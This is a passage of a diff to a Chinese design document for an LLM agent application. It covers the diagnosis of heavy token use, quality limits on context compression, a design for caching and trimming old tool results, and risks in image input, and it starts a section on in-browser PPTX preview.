textarea hint) +**根因**:`Session.load()` 把全量历史装回每轮 LLM 调用,旧 tool 结果 / `load_skill` 正文 / 检索结果 / 长 stdout 反复携带;LiteLLM cost map 未覆盖 V4 致 `cost_cny=0` 不可用。 -**已知风险**: -- 多张参考图(2-14)的角色定义(主体 vs 风格 vs 局部)靠 prompt 经验,**v1 只支持单张**;multi-ref 留 v2 -- 豆包 Seed 1.6 vision tokens 单价(in / out 分档)待 ARK 控制台查 -- DeepSeek 主动调 `look_at_image` 的可靠性需前几轮真用例里观察,不靠就在 prompt 加一句更明确引导;不过度工程 -- ARK 文档强调 image_urls 官方推荐 URL,base64 实测可行但**未承诺长期稳定**;若未来 ARK 收紧,降级方案 = 火山 TOS 上传 5 分钟 → URL(引入 TOS SDK) +**质量边界(设计约束,后续改动都守)**: +- 不改模型输入的优化(prompt caching、固定前缀、计费修复、cache hit/miss 记录)不影响输出质量。 +- 改模型可见上下文的优化(裁剪 / 摘要 / 按需读取)必须**保留可追溯原文**:长结果写文件留路径,summary 只替代陈旧噪声,**用户确认过的需求 / 规格 / 大纲 / 关键结论不删**。 +- **禁止把"只保留最近 N 条"当主策略** —— 省 token 但最易丢已确认约束。 -**升级到 A(主模型多模态)的信号**:用户明确要求"我说话同时贴图,模型直接读图回话",或多模态对话历史(多轮带图)成为高频需求 — 当前 E + C 假设是"图像是工具调用对象"而非"对话上下文";真高频需要"图也是消息内容"时再升 A。 +**选型**:Context Editing + Memory/File State + Cache Observability 混合。稳定 system/tools 前缀利于 provider cache;旧 tool result 移除或压缩;关键发现写 task summary / FS,需要时 `read` 重新拉。长上下文保留作少数全局推理的临时能力,非默认每轮成本。 -### 8.2 Token 使用优化与上下文治理(2026-06-04) +**落地形态**:`core/context.py` 发送前压缩旧 tool / `load_skill` / assistant tool_call arguments(保 `role/tool_call_id/name` 协议完整),不改持久化历史;**上下文压力门槛**(2026-06-10):总 chars 未逼近上限则完全跳过压缩、原样发,护 DeepSeek 前缀缓存(短任务字节逐轮一致、命中 92-94%)。task summary(旧消息压成一条、区分硬约束/计划/文件路径/关键事实)为第二步,未做。 -**现状诊断**:最近 7 天 chat 输入 token 约 1.225 亿、输出约 87 万,输入/输出约 140:1;最大单次 chat 输入超过 53 万 token。根因不是回答过长,而是 `Session.load()` 把全量历史消息装回 `self.session.messages`,每轮 LLM 调用继续携带旧 assistant/tool 结果、`load_skill` 完整正文、文献检索结果和长 stdout/stderr。当前 `cost_cny=0` 还说明 LiteLLM cost map 未覆盖 DeepSeek V4,费用统计不可用于判断真实消耗。 +### 8.3 PPTX 前端在线预览(2026-06-09,✅ 已落地 Stage 1) -**质量边界**: -- 不改变模型输入的优化(prompt/context caching、固定 prompt 前缀、费用统计修复、cache hit/miss 记录)不影响输出质量。 -- 会改变模型可见上下文的优化(工具结果裁剪、旧历史摘要、RAG/按需读取)必须保留"可追溯原文":长结果写文件或保留路径,summary 只替代陈旧噪声,用户确认过的需求 / 规格 / 大纲 / 关键结论不删。 -- 禁止简单"只保留最近 N 条"作为主策略;它省 token 但最容易丢已确认约束。 +**动机**:文件区点 `.pptx` 原只能下载;要在浏览器直接翻看,且覆盖任意 pptx(含上传)。 +**关键洞察(定方案极简)**:前端已有 `